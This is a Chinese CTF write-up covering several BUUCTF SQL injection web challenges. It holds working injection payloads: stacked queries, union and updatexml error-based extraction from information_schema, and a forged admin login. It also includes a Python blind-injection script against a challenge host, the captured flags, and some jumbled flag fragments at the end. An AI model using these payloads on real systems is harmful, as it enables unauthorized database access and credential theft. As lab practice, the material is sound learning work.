【buuctf】web SQL注入篇

---

简单说明

记录buuctf web中SQL注入学习   简单题目未写

[强网杯 2019]随便注

1、万能密码注入

1';rename table words to words2; 
rename table `1919810931114514` to `words`;
 alter table words change flag id varchar(100);
  show tables; 
  show columns from words;#

[极客大挑战 2019]LoveSQL

1、万能密码注入

‘ or 1=1 #

2、找字段

‘ order by 3 #

’ union select 1,2,3; # 找回显

2' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() #

3、爆表

2' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser' #

2' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

2' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

2' uunionnion sselectelect 1,2,group_concat(id,username,passwoordd) ffromrom l0ve1ysq1 #

[极客大挑战 2019]HardSQL

1、用hackbar进行构造传参测试

2、测试限制的传参

3、爆库、爆表

http://f232a01e-3c9d-480d-bd28-439ce083b5f6.node3.buuoj.cn/check.php
?username=admin
&password= admin'or(updatexml(1,concat(0x7e,(select(database()))),1))%23

4、爆表

http://f232a01e-3c9d-480d-bd28-439ce083b5f6.node3.buuoj.cn/check.php
?username=admin
&password= admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))%23

5、爆字段

http://f232a01e-3c9d-480d-bd28-439ce083b5f6.node3.buuoj.cn/check.php
?username=admin
&password= admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%23

http://f232a01e-3c9d-480d-bd28-439ce083b5f6.node3.buuoj.cn/check.php
?username=admin
&password= admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))),1))%23

http://f232a01e-3c9d-480d-bd28-439ce083b5f6.node3.buuoj.cn/check.php
?username=admin
&password= admin'or(updatexml(1,concat(0x7e,(select(group_concat(password)))from(H4rDsq1))),1))%23

左部分flag{dc3aeb0f-4601-4e42-96da-71

http://f232a01e-3c9d-480d-bd28-439ce083b5f6.node3.buuoj.cn/check.php
?username=admin
&password= admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))%23

左部分flag{dc3aeb0f-4601-4e42-96da-71
右部分数据f-4601-4e42-96da-718fe313ce10}
对比删去相同部分8fe313ce10}
flag{dc3aeb0f-4601-4e42-96da-718fe313ce10}

[GXYCTF2019]BabySQli

1、测试注入点

2、发现源码里面有base32到base64的解密

select * from user where username = '$name'
判断有一个user表

3、Order by 找字段

4、用联合查询创建虚拟表进行登录

name=1' union select 1,'admin','21232f297a57a5a743894a0e4a801fc3'#&pw=admin

这里比较坑的就是md5加密没有提示

[极客大挑战 2019]FinalSQL

1、最后一题一般很难，上面提示了用盲注

2、测试一下

1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)^1

手工注入太麻烦了，找了个网上的代码

import requests
import time

url = "http://83091d3b-98bc-4cb3-857f-b7ff224e4257.node3.buuoj.cn/search.php?"
temp = {"id": ""}
column = ""
for i in range(1, 1000):
    time.sleep(0.06)
    low = 32
    high = 128
    mid = (low + high) // 2
    while (low < high):
        # 库名
        temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        # 表名
        # temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i, mid)
        # 字段名
        # temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
        # 内容
        # temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url, params=temp)
        time.sleep(0.04)
        print(low, high, mid, ":")
        if "Click" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 127):
        break
    column += chr(mid)
    print(column)

print("All:", column)

结果：
All: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{15c4b1bf-0f2a-4b60-8063-07d6f687a332}

mochu7”||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’users’))),1))#

flag{06534856-955b-41e7-a415-933d31e2b3f4}
}4f3b2e13d339-514a-7e14-b559-65
3d31e2b3f4}